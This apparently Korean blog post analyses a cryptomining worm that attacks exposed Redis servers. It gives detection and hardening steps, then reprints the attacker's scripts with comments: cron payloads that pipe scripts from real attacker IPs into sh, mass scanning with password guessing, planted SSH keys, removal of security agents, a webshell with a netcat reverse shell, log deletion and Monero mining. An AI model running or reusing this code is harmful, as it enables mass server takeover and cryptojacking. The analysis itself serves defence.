Redis Hacking


Redis Server Hacking 레디스 서버 해킹

최근 레디스 서버에 대한 해킹이 발생하고 있습니다.
해킹 여부 확인, 대처 방법, 해킹 수법 등을 정리했습니다.
레디스 서버가 이상하다고 생각될 경우 잘 확인해 보시기 바랍니다.


I. 해킹 피해

레디스 서버의 데이터를 모두 삭제하고, 설정을 변경하고, 해킹에 필요한 데이터를 입력합니다.

리눅스 서버의 보안을 무력화 시키고, 암호화폐 채굴 프로그램을 실행합니다.
이후 주변 서버에 감염을 확산시킵니다.


II. 해킹 경로


III. 해킹 여부 확인 및 대처 방법

1. 해킹 여부 확인 방법

  • 레디스 데이터가 이유없이 사라졌다면 해킹을 의심해 볼 수 있다. 특히 반복적으로 삭제되었다면 거의 해킹이라고 봐도 됩니다.
  • redis-cli에서 config get dir의 결과가 "/var/spool/cron/", "/etc/cron.d/", "/etc/" 중 하나이면 해킹이 시도된 것이다.
  • redis-cli로 레디스 서버에 접속해서 keys 또는 get 명령으로 키 이름이 x1,x2,x3,x4, backup1, backup2, backup3, backup4가 있는지 확인한다.
    값이 "\n\n\n*/2 * * * * root cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh\n\n" 이런 것이면 해킹이 시도된 것이다.
    > keys x1*
    > keys backup*
    > get x1
    > get backup1
    
  • 보안 설정이 다 실행되기 전(개발 프로젝트 진행 중)에 해킹되는 사례가 종종있습니다.
    주의하시기 바랍니다.
  • Docker(도커), Alibaba(알리바바), Tencent(텐센트) 클라우드의 취약점을 이용해 공격하는 경우가 많다고 합니다.

2. 대처 방법 1: 레디스 password 설정 -> 필수

레디스 서버에 password를 반드시 설정한다.
아래 password는 해킹 프로그램에서 이미 사용하고 있으므로 사용 금지
root, oracle, password, p@aaw0rd, abc123, abc123!, 123456, admin
redis.conf에는 requirepass, masterauth 설정하고, sentinel을 사용하면 sentinel auth-pass를 설정합니다. 나머지는 선택이고 버전에 따라 다르므로 굳이 설정할 필요없습니다.
sentinel sentinel-pass는 센티널 서버의 password 설정입니다.

Redis: redis.conf
	requirepass password
	masterauth password
Sentinel: sentinel.conf 
	sentinel auth-pass <master-name> password			# Redis password
	sentinel auth-user <master-name> <username>		# Redis username (optional)
	requirepass password					# Sentinel password		ver 6.0.0
	sentinel sentinel-pass password			# Sentinel password		ver 6.2.0
	sentinel sentinel-user <username>		# Sentinel username		ver 6.2.0 (optional)
  • Application(WAS) redis connection 부분에 password 설정이 필요합니다.

3. 대처 방법 2: 레디스 port를 6379가 아닌 다른 포트 사용 -> 필수

6379는 공격대상이고 16379, 26379도 향후 공격 대상이 될 수 있으므로 사용을 금지합니다.
6379, 16379, 26379 사용금지

Redis: redis.conf
port 설정

다음은 6379 포트에서 다른 포트로 변경할 경우 조치 내용입니다.

  • Application(WAS) redis connection 부분에 port 변경이 필요합니다.
  • L4 switch(Load balancer) 또는 방화벽에서 port 변경이 필요합니다.

4. 대처 방법 3: 레디스 서버 root로 실행 금지 -> 필수

root user로 실행하면 모든 권한을 갖게 되어 매우 위험합니다.
일반 user로 실행하세요. 추천 user: redis
레디스 서버 실행 파일(binary)를 /usr/local/bin에 설치하지 마시고, 별도 디렉토리를 만들어 설치하세요.
(yum install 이나 make install을 하면 /usr/local/bin에 설치됩니다)
추천 디렉토리 예) /app/redis
# chown -R redis:redis /app/redis     -> 디렉토리의 owner를 redis로 변경한다.

리부팅 시 레디스 서버 자동실행 설정: 일반 user를 사용하세요.
아래 redis.service 파일 참조

[Unit]
Description=Redis Enterprise Server
Wants=network-online.target
After=syslog.target network.target network-online.target

[Service]
User=redis		# 이 부분이 없으면 root로 실행됩니다.
Type=forking
ExecStart=/app/redis/start.sh 
ExecStop=/app/redis/stop.sh
WorkingDirectory=/app/redis

[Install]
WantedBy=multi-user.target

주의 사항
기존에 root로 실행했던 레디스 서버를 일반 user로 실행했을 경우 파일 권한 문제로 레디스 서버가 실행되지 않을 수 있습니다. 예) appendonly.aof
소유자가 root로 된 파일을 변경하시거나: # chown redis:redis appendonly.aof
레디스 디렉토리 전체 소유자를 변경하세요: # chown -R redis:redis /app/redis

5. 대처 방법 4: 관리 명령 이름 변경 -> 선택

해킹 프로그램에서 config 명령으로 dir를 변경하고, flushall 명령으로 레디스 DB의 모든 데이터를 삭제하고, 해킹에 필요한 데이터를 넣은 다음, save 명령으로 데이터를 저장합니다.
해킹 프로그램에서 사용하는 명령들의 이름을 변경해서 해킹 프로그램이 작동하지 않게 할 수 있습니다.

  관리 명령 이름 변경 예
  • CONFIG -> CONFIG_ADMIN
  • FLUSHALL -> FLUSHALL_ADMIN
  • SAVE -> SAVE_ADMIN
  이름 변경에는 주의가 필요합니다.
  1. Application에서 위 명령을 사용할 경우 변경할 수 없습니다.
  2. Redis Sentinel 이나 Redis Cluster를 사용할 경우 CONFIG 명령의 이름을 변경할 수 없습니다.
    Redis Sentinel 이나 Redis Cluster 내부에서 CONFIG 명령을 사용하기 때문입니다.
  아래 예에서는 향후 해킹 프로그램에서 사용할 수도 있는 flushdb, bgsave 명령도 추가했습니다.
Redis: redis.conf
	rename-command config config_admin
	rename-command flushall flushall_admin
	rename-command flushdb flushdb_admin
	rename-command save save_admin
	rename-command bgsave bgsave_admin

응급조치

본 대처 방법 4(관리 명령 이름 변경)을 선택으로 했으나, 레디스 서버를 운영중이어서 대처 방법 1, 2, 3번 적용이 어려운 경우에는 응급조치로 본 "대처 방법 4: 관리 명령 이름 변경"만 이라도 꼭 적용해 주시기 바랍니다.
이 작업은 app 변경이 필요하지 않은 레디스 서버 단독 작업으므로 비교적 간단하게 진행할 수 있습니다. redis.conf에 설정 후 레디스 서버 재시작은 필요합니다.

6. 대처 방법 5: 기본 설정 -> 필수

  • redis.conf: bind 설정 -> bind 192.168.1.100 127.0.0.1
    bind 0.0.0.0 -> 사용 금지
  • redis.conf: protected-mode yes 설정
  • 레디스 디렉토리 owner:group 설정: chown -R redis:redis /app/redis
  • 레디스 디렉토리 other 접근 제한: chmod 750 /app/redis -> "drwxr-x---"
  • 레디스 서버 설정파일 접근 제한: chmod 600 redis.conf -> "rw-------"

변수 설정해서 사용하는 방법

$ REDIS_HOME='/app/redis'
$ REDIS_USER='redis'
$ chown -R $REDIS_USER:$REDIS_USER $REDIS_HOME       -> chown -R redis:redis redis
$ chmod 750 $REDIS_HOME       -> chmod 750 /app/redis
$ chmod 600 $REDIS_HOME/redis.conf       -> chmod 600 /app/redis/redis.conf

7. 레디스 엔터프라이즈 서버의 경우

  • config, flushall, flushdb, save, bgsave 명령 실행 시 로그 파일(redis.log)에 실행 일시, 명령, 실행 IP가 기록됩니다. 따라서 해킹 여부를 판단할 수 있고, 추적이 어느 정도 가능합니다.
  • 데이터 디렉토리(data-dir)을 별도로 지정합니다. 그리고 운영중 변경할 수 없습니다.
    "config set dir /etc/"로 변경해도 데이터는 data-dir에 저장되므로 /etc/crontab에 저장되지 않습니다.
    data-dir은 절대 경로로 지정하시기 바랍니다. 예) redis.conf: data-dir /app/redis/data/
  • 엔터프라이즈 서버 최신 버전은 "config set dir" 명령이 작동하지 않도록 수정했습니다.
    "config set dir" 명령은 아래와 같이 authorized_keys, php 실행 등 해킹에 이용되고 있습니다.
$ cat auth_key.txt | redis-cli -h <ip> -p <port> -x set ssh_key   -> -x std input
> config set dir /var/lib/redis/.ssh
> config set dbfilename "authorized_keys"
> save
> config set dir /var/www/html
> config set dbfilename shell.php
> set sys_cmd "<?php system($_GET[cmd]); ?>"
> save 
$ shell.php?cmd=nc -e /bin/sh <ip> <port>

8. 한국인터넷진흥원 "클라우드 취약점 점검 가이드"

"클라우드 취약점 점검 가이드"에 있는 레디스 점검 항목입니다.
위에 설명드린 "대처 방법"과 대부분 중복되지만, 확인해 보시기 바랍니다.

  • DR-01: Redis 인증 패스워드 설정 (중) -> requirepass password
  • DR-02: Binding 설정 (상) -> bind 192.168.1.100 127.0.0.1
  • DR-03: Slave(Replica) 읽기 전용 모드 설정 (상) -> replica-read-only yes (default)
  • DR-04: rename-command 설정 (중) -> rename-command
  • DR-05: 데이터 디렉토리 접근권한 관리 (중) -> chmod 750 $REDIS_HOME "rwxr-x---"
  • DR-06: 설정파일 접근권한 관리 (상) -> chmod 600 redis.conf "rw-------"
  • DR-07: 로그 활성화 (하) -> loglevel notice, slowlog-log-slower-than 100 (us)
  • DR-08: 최신 패치 적용 (상) -> redis-cli -v, redis-server -v 버전 확인

위험도 기준

  • 상: 장비의 관리자 권한을 직접 획득하거나 장비의 중요한 정보를 유출시켜 직접적인 영향을 줄 수 있는
    취약점
  • 중: 간접적으로 접근경로를 제공하거나 정보유출의 가능성을 높일 수 있는 취약점
  • 하: 취약점 이용하여 해킹에 성공하더라도 장비 및 다른 장비에 주는 영향 및 효과를 줄 수 없는 취약점

아래 pdf 파일은 한국인터넷진흥원(KISA)에서 2020년 12월에 발간한 "클라우드 취약점 점검 가이드" 입니다.
Redis는 항목 2.11 (274쪽)에 있으니 참고하세요.

9. 해킹 사례와 관련 글 링크

  • thxwelchs.github.io
    내 redis가 해킹당했다고? 심지어 local인데? - 2021년 08월 29일
  • imjuno.com
    Redis CTF(Capture The Flag; 해킹 방어 대회) 문제 풀다 해킹당한 이야기 - module upload - 2022년 05월 05일
  • blog.wooeong.kr
    SSRF(Server-Side Request Forgery) to Redis - 2020년 05월 01일
  • thehackernews.com
    39,000개 이상의 인증되지 않은 Redis 인스턴스가 인터넷에 노출된 것으로 확인됨 - 2022년 09월 21일
  • blog.alyac.co
    75%의 Redis 서버들, 악성코드 감염 돼 - 2018년 06월 04일
  • synsun.tistory.com
    레디스 해킹 시도 발견 Redis server crackit try attack detect - 2017년 07월 30일
  • systemweakness.com
    Hacking a Redis database — TryHackMe - 2022년 01월 22일
  • book.hacktricks.xyz
    6379 - Pentesting Redis 레디스 침투시험
  • kurien.net
    Redis를 이용한 Shell 공격을 조심하세요! - 2020년 08월 21일

IV. 해킹 수법 1 - 해킹 공격 준비: is.sh

Web/WAS 서버에 해킹하기 위한 준비 스크립트 실행: is.sh

1. 다운로드 프로그램(curl, wget) 이름 변경

이것은 보안(모니터링) 프로그램에서 curl(커럴, client url) 이나 wget(web get) 사용 여부를 체크하는 것을 피하기 위한 것입니다.

# 이름 변경 wget -> wd1
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/get /usr/bin/wd1
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/url /usr/bin/cd1
# 변수에 넣음.
ccdira="/usr/bin/wd1"
bbdira="/usr/bin/cd1"

2. 해킹에 필요한 파일을 저장할 디렉토리를 tmp에 생성

tmp에 폴더를 생성하고, 삭제되지 않도록 조치
CentOS 6: tmpwatch 또는 CentOS 7/8: systemd-tmpfiles-clean.service(서비스), /usr/lib/tmpfiles.d/*.conf(설정) 에서 정기적으로 삭제.
일반적으로 /tmp는 10일, /var/tmp는 30일이 지나면 삭제

# /tmp 또는 /var/tmp로 이동, || 첫 번째 명령이 실패하면 두번째 명령 실행
cd /tmp || cd /var/tmp		
sleep 1
# 스캐너 패키지를 설치할 폴더 생성
# .ice-unix 디렉토리를 만들고 이동
# 정상 디렉토리 .ICE-unix와 비슷하게 만듬
mkdir -p .ice-unix/... && chmod -R 777 .ice-unix && cd .ice-unix/...
sleep 1
# 감시용 파일인 .watch를 삭제, 내용변경
if [ -f .watch ]; then		
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch

3. 실행중인 스캔 프로세스 등을 kill 시키기

# 다른 스캐닝 프로세스 kill 시키기
# ps x 옵션: 데몬 프로스세처럼 터미널에 종속되지 않은 프로세스를 출력 
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null

4. 해킹에 필요한 라이브러리, 패키지를 설치

  • apt-get 또는 yum으로 필요한 라이브러리, 패키지 설치
  • which를 사용하지 않고 쉘 내장 명령인 command를 사용, 쉘 외부의 종속성을 피하기 위해서 이기도 함.
  • Libpcap(이하 pcap)은 "Portable Packet Capturing Library"의 줄임말.
    패킷을 캡쳐하기 위한 함수모음(라이브러리)   설명 참조 -> joinc.co.kr
# 다른 스캔 프로세스 kill 시키기
# apt-get이 있으면 apt-get으로 설치
if [ -x "$(command -v apt-get)" ]; then
데비안(Debian) 상호 작용 방지
export DEBIAN_FRONTEND=noninteractive
# 종속 라이브러리 설치
apt-get update -y --exclude=procps* psmisc*
apt-get install -y debconf-doc					# Debian package 
apt-get install -y build-essential				# Complie 기본 package
apt-get install -y libpcap0.8-dev libpcap0.8		# 패킷 캡처용 Lib
apt-get install -y libpcap*									
apt-get install -y make gcc git					# C 컴파일러 설치
# redis 설치: rs.sh에서 redis-cli를 이용해서 해킹용 데이터를 넣는다.
apt-get install -y redis-server
apt-get install -y redis-tools					# Ubuntu
apt-get install -y redis
apt-get install -y iptables
apt-get install -y masscan
apt-get install -y unhide						# Detecting hidden processes. 
fi
# yum이 있으면 yum으로 설치
if [ -x "$(command -v yum)" ]; then
# PowerTools 저장소(repository) 활성화, 패키지 모음
# CentOS 버전에 따라 PowerTools에서 powertools로 변경
dnf config-manager --set-enabled PowerTools
dnf config-manager --set-enabled powertools
# procps: kill, ps, sysctl 등이 포함된 패키지 
# psmisc: killall이 포함된 패키지
# procps, psmisc Update 제외
yum update -y --exclude=procps* psmisc*
yum install -y epel-release
yum update -y --exclude=procps* psmisc*
yum install -y git iptables make gcc redis libpcap libpcap-devel masscan
yum install -y unhide
fi

5. 숨겨진 프로세스 죽이기

숨겨진 프로세스를 찾아 kill 시킴.
설명 참조 -> www.kali.org

dddir="/usr/sbin/unhide"
$dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null

6. /usr/bin에 있는 파일 내용 변경

  • chattr (change attribute): 파일 속성 설정
  • lsattr (ls attribute): 파일 속성 확인
  • chattr로 수정할 수 있게 한 후 파일 내용을 변경하고 수정 불가능하게 만든다.
    • chattr -i file: file을 수정 가능하게 만든다.
    • chattr +i file: file을 불가능하게 만든다.
    • 일반 user가 만든 파일도 chattr +i를 걸어놓으면 root user도 파일을 삭제, 변경할 수 없음.
  • chattr <option> <+/-/=><mode> <filename>
    i (immutable) : 쓰기, 삭제, 이름 변경 할 수 없음. root도 할 수 없음.
    u (undeletable) : 파일이 삭제되더라도 내용은 저장되어 있으며 복구 가능. Filesystem에 따라 다름.
    a (append only) : 파일을 append mode로만 열 수 있음.
  • 설명 참조 -> m.blog.naver.com

아래 파일들 내용을 변경

# 수정가능하게 변경
chattr -i /usr/bin/ip6network		
chattr -i /usr/bin/kswaped
chattr -i /usr/bin/irqbalanced
chattr -i /usr/bin/rctlcli
chattr -i /usr/bin/systemd-network
chattr -i /usr/bin/pamdicks
# 파일 내용 변경
echo 1 > /usr/bin/ip6network
echo 2 > /usr/bin/kswaped
echo 3 > /usr/bin/irqbalanced
echo 4 > /usr/bin/rctlcli
echo 5 > /usr/bin/systemd-network
echo 6 > /usr/bin/pamdicks
# 수정 불가능하게 변경
chattr +i /usr/bin/ip6network		
chattr +i /usr/bin/kswaped
chattr +i /usr/bin/irqbalanced
chattr +i /usr/bin/rctlcli
chattr +i /usr/bin/systemd-network
chattr +i /usr/bin/pamdicks

7. Alibaba(알리바바) 클라우드, Tencent(텐센트) 클라우드 위협 탐지 에이전트 제거

Alibaba cloud, Tencent cloud 관련 위협 탐지 에이전트를 uninstall하고, 관련 파일을 삭제(rm)하고, 서비스를 중단(stop)하고 disable합니다.

# Alibaba Cloud
# Aegis(Threat Detection Service), Alibaba 클라우드 위협 탐지 에이전트 제거
if ps aux | grep -i '[a]liyun'; then
  downloads http://update.aegis.aliyun.com/download/uninstall.sh | bash
  downloads http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*			# Alibaba 클라우드 위협 탐지 에이전트 삭제 
  systemctl stop aliyun.service		# 클라우드 모니터링 에이전트 stop
  systemctl disable aliyun.service	# 클라우드 모니터링 에이전트 disable	
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
# Tencent Cloud
elif ps aux | grep -i '[y]unjing'; then
# Tencent Host Security(YunJing) 제거
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh						
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

8. Masscan, Pnscan 스캔 프로그램 설치

스캔 프로그램

# masscan이 없으면 다운받아 설치 
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
sleep 1
$bbdira -sL -o x1.tar.gz http://45.133.203.192/b2f628fff19fda999999999/1.0.4.tar.gz
sleep 1
# masscan을 컴파일해서 설치하고 원 디렉토리 삭제
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
echo "Masscan Installed"
fi
sleep 3 && rm -rf .watch
# pnscan이 없으면 다운받아 설치
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
$bbdira -sL -o .x112 http://45.133.203.192/cleanfda/pnscan.tar.gz || $ccdira -q -O .x112 http://45.133.203.192/cleanfda/pnscan.tar.gz
sleep 1
[ -f .x112 ] && tar zxf .x112 && cd pnscan && ./configure && make && make install && cd .. && rm -rf pnscan .x112
echo "Pnscan Installed"
fi

9. rs.sh 다운받아 실행

레디스 서버를 해킹 공격하는 스크립트 rs.sh를 다운받아 바로 실행한다.

# rs.sh 다운받아 바로 실행
$bbdira -fsSL http://45.133.203.192/cleanfda/rs.sh | bash

V. 해킹 수법 2 - 레디스 서버 해킹 공격: rs.sh

1. 리눅스 보안 무력화: Selinux Disable

setenforce 0 2>/dev/null		# selinux disable
ulimit -u 50000				# 오픈파일 수 설정

2. 방화벽 port 6379 허용

외부에서 6379로 오는 것은 막고, 로컬(127.0.0.1)에서 실행한 것만 허용한다.
iptable -I: insert, -s: source address, -j: 해당 rule에 해당하는 패킷에 사용할 target 정책을 지정한다.

iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null

3. 레디스 해킹 스크립트 작성(레디스 명령)

기존 데이터 모두 삭제
해킹 스크립트인 init.sh를 다운 받아 바로 실행할 수 있도록 cron에 등록 -> 매 분마다 실행
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/zzh
/etc/crontab

# 레디스 해킹 스크립트 작성(레디스 명령) 
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
# 쓰기(write) 에러가 발생해도 계속 진행하도록 설정 변경
echo 'config set stop-writes-on-bgsave-error no' >> .dat	
# 기존 데이터 모두 삭제
echo 'flushall' >> .dat
# "매분마다 해킹 스크립트인 init.sh를 다운 받아 바로 실행"할 수 있는 데이터 입력
echo 'set x1 "\n\n\n*/2 * * * * cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat
echo 'set x2 "\n\n\n*/3 * * * * wget -q -O- http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat
echo 'set x3 "\n\n\n*/4 * * * * curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat
echo 'set x4 "\n\n\n*/5 * * * * wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat
# config set 명령을 이용해서 레디스 기본 dir를 /var/spool/cron/로 변경 
echo 'config set dir "/var/spool/cron/"' >> .dat
# 저장 파일명을 root로 변경 
echo 'config set dbfilename "root"' >> .dat
# 저장 
echo 'save' >> .dat
# 레디스 기본 dir를 /var/spool/cron/crontabs로 변경 
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
# 저장 
echo 'save' >> .dat
# 데이터 삭제
echo 'flushall' >> .dat
# "매분마다 해킹 스크립트인 init.sh를 다운 받아 바로 실행"할 수 있는 데이터 입력
echo 'set backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * root wget -q -O- http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * root curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat
# 레디스 기본 dir를 /etc/cron.d/로 변경 
echo 'config set dir "/etc/cron.d/"' >> .dat
# 저장 파일명을 zzh로 변경 
echo 'config set dbfilename "zzh"' >> .dat
# 저장 
echo 'save' >> .dat
# 레디스 기본 dir를 /etc/로 변경 
echo 'config set dir "/etc/"' >> .dat
# 저장 파일명을 crontab로 변경 
echo 'config set dbfilename "crontab"' >> .dat
# 저장 
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat

4. 레디스 서버에 작성한 스크립트 실행

Pnscan, masscan을 이용해서 6379 port를 찾아 redis-cli로 해킹 스크립트 실행

pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
for x in $( seq 1 223 | sort -R ); do			# IP의 첫번째 부분: 1 ~ 233까지를 x로 설정, sort -R random
for y in $( seq 0 255 | sort -R ); do			# IP의 두번째 부분: 0 ~ 255까지를 y로 설정, sort -R random
# pnscan을 사용하여 6379 port 스캔
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l			# ip port만 추출
while read -r h p; do
# redis-cli로 해킹 데이터 입력
cat .dat | redis-cli -h $h -p $p --raw &
cat .dat | redis-cli -h $h -p $p -a redis --raw &
cat .dat | redis-cli -h $h -p $p -a root --raw &
cat .dat | redis-cli -h $h -p $p -a oracle --raw &
cat .dat | redis-cli -h $h -p $p -a password --raw &
cat .dat | redis-cli -h $h -p $p -a p@aaw0rd --raw &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw &
cat .dat | redis-cli -h $h -p $p -a 123456 --raw &
cat .dat | redis-cli -h $h -p $p -a admin --raw &
done < .r.$x.$y.l
done
done

# Masscan 이용
masscan --max-rate 30000 -p6379 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
... 더 많은 내용 있음 ...

5. 현재 서버에도 채굴 프로그램 실행

sshd(ssh daemon)가 없으면 init.sh를 다운받아 실행

if [ ! "$(ps -fe | grep '/usr/sbin/sshd /tmp/ipss'| grep -v grep)" ]; then
	if [[ $EUID = 0 ]];		# root
	then
		wd1 -q -O /tmp/ps http://195.58.39.46/cleanfda/ps
		wd1 -q -O /tmp/hxx http://195.58.39.46/cleanfda/hxx
		chmod 777 /tmp/hxx
		rm -rf /tmp/sshcheck /tmp/ssh_vuln.txt /tmp/scan.log /tmp/ipss
		masscan 172.16.0.0/12 192.168.0.0/16 --max-rate 30000 -p22 --wait 0 | awk '{print $6}' > /tmp/ipss
		nohup /tmp/hxx 50 -f /tmp/ipss /tmp/ps 22 'curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh; wget -q -O- http://45.133.203.192/cleanfda/init.sh | sh; lwp-download http://45.133.203.192/cleanfda/init.sh /tmp/init.sh; bash /tmp/init.sh; rm -rf /tmp/init.sh' >/dev/null 2>&1
		echo "Finished"
		pkill -9 hxx
	else
		echo "no rooot"
	fi
else
	echo "runing"	# sshd 실행 중
fi

6. 흔적 지우기, 생성했던 파일들 삭제

rm -rf .dat .shard .ranges .lan 2>/dev/null

VI. 해킹 수법 3 - 암호화폐 채굴 프로그램 실행: init.sh

위에서 설명한 실행 파일 이름 변경(감시 피하기), Alibaba Cloud, Tencent Cloud 모니터 agent 제거, 필요한 라이브러리, 패키지 다운로드 등 중복되는 내용은 설명에서 제외합니다.

1. 보안 무력화, 로그 삭제

* apparmor: application armor(갑옷)의 줄일말로 애플리케이션을 보호하는 리눅스 커널 보안 모듈입니다.
    애플리케이션이 실행 전 행동을 검사하고 실행여부를 결정합니다.
    AppArmor를 사용하여 리소스에 대한 컨테이너의 접근 제한

# 보안 무력화
iptables -F		# (Flush) iptables의 모든 정책을 삭제한다.
ufw disable		# Ubuntu 기본 방화벽 UFW(Uncomplicated Firewall) 무력화(disable)
sysctl kernel.nmi_watchdog=0		# NMI(Non-Maskable Interrupt) 감시 disable
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf # rebooting 해도 nmi_watchdog disable이 적용되도록 함.
chattr -iae /root/.ssh/
setenforce 0 2>dev/null    # selinux 즉시 disable, 오류 메시지 남기지 않음.
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null  # rebooting 해도 selinux disable
# 비밀번호 없이 로그인 
chattr -iae /root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCon+ogu86pIjSVJjPl3aERqrWFI7AvtzMqzTsj9n
WNXLHSosyTfJ3PwL4TkG4oicsBvGlgnlYJHSK157LLHGHRYEtzjyMpfeGuAkrrgk47WtJVJajv4XipVHQWZlY
k36kJfzQPPWG054FDHPND77BQOwtuy47ZIBm+laXPV3NJ68V7wycOlSFMp4O6VXwC/iYMlsEhrmhEiNJy
op6xBDVr6pwhKvUsJrRYmbKaZoK8bDQirQN3NA4j/nCaXoHxw9CvCvMERVtV/mgati+P1/5t7we16lKZXy
5x/KitarrT34D73o8sbHzQeQYih7Bmc972WZalyaGJcw0FlagAPDGFx+XhOS+sQHATBcIZS4/8Apd51903Uh
GMoNBjnK7YMYmg+51sbfoNCJ3gehcltaMW1aIUMyFq8PF0yMbjHxPEkIM7fJM7yadgnAS7xYGevXwHY95
SKPtWbZdRK1mEBgnttkO4qOR9QGeVXoCJ0uFjlnYM8oF4OjpyKlPOVI4cDiVBoKG2G7dZ2FS0hhyRWvDJB
LWbC4No+Ynz0aTX/YmUv1cxb8zZuq1lbmFX9NR06o6ZhVSxFJhPfnjorILdslFUypUDZUhDF/SMSSG2gg/bj
4rfcxBgunozNZjd6yP449hTlil03civrIv6pokPyNQW1w2vlZ4kX7wAfH/GHQ7SCQ== user@email.com" > 
/root/.ssh/authorized_keys
chattr +iae /root/.ssh/authorized_keys
# apparmor stop, disable 
service apparmor stop
systemctl disable apparmor
# 로그 삭제
rm -rf /var/log/syslog

2. 경쟁 채굴 프로그램 죽이기

경쟁 채굴 프로그램 죽이기: 다른 마이닝 프로세스를 죽이고, 파일을 삭제하고, 도커를 죽이고, 도커 이미지를 삭제한다.

kill_miner_proc()
   netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
   ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
   pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
   pkill -f biosetjenkins
   rm -rf /usr/bin/config.json
   systemctl stop moneroocean_miner.service
   systemctl stop crypto.service
   docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
   docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %

3. CPU를 40% 이상 사용하는 프로세스 죽이기

kill_sus_proc()
{
    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
    do
            cat /proc/$procid/cmdline| grep -a -E "zzh"
            if [ $? -ne 0 ]
            then
                    kill -9 $procid
            else
                    echo "don't kill"
            fi
    done
}

4. DNS에 nameserver 1.1.1.1 추가

DNS(Domain Name Server) resolv.conf에 1.1.1.1(Cloudflare)를 추가해서 다운로드를 용이하게 한다.

nameserver(){  
grep -q 1.1.1.1 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; 
	echo "nameserver 1.1.1.1" >> /etc/resolv.conf; 
	chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null
}

5. 채굴 프로그램 다운로드

if [ -f "/etc/zzh" ]
then
	filesize1=`ls -l /etc/zzh | awk '{ print $5 }'`
	if [ "$filesize1" -ne "$miner_size" ] 
	then
		pkill -f zzh
		rm /etc/zzh
		downloads $miner_url /etc/zzh $miner_url_backup
	else
		echo "not need download"
	fi
else
	downloads $miner_url /etc/zzh $miner_url_backup
fi

6. 채굴 시작

chmod 777 /etc/zzh
if [ -f "/bin/ps.original" ]
then
	ps.original -fe|grep zzh |grep -v grep
else
	ps -fe|grep zzh |grep -v grep
fi
if [ $? -ne 0 ]
then
	cd /etc
	echo "not root runing"
	sleep 5s
	# 채굴 시작
	./zzh --log-file=/etc/etc --donate-level 1 --keepalive --no-color --cpu-priority 5 
	-o xmr.f2pool.com:13531 -u 82et...UG4.clean -k --coin monero 
	-o 139.99.102.72:14433 -u 82etS...wpUG4.clean --tls -k --coin monero 
	-o xmr.pool.gntl.co.uk:10009 -u 87q6a...WMv.clean --tls -k --coin monero 
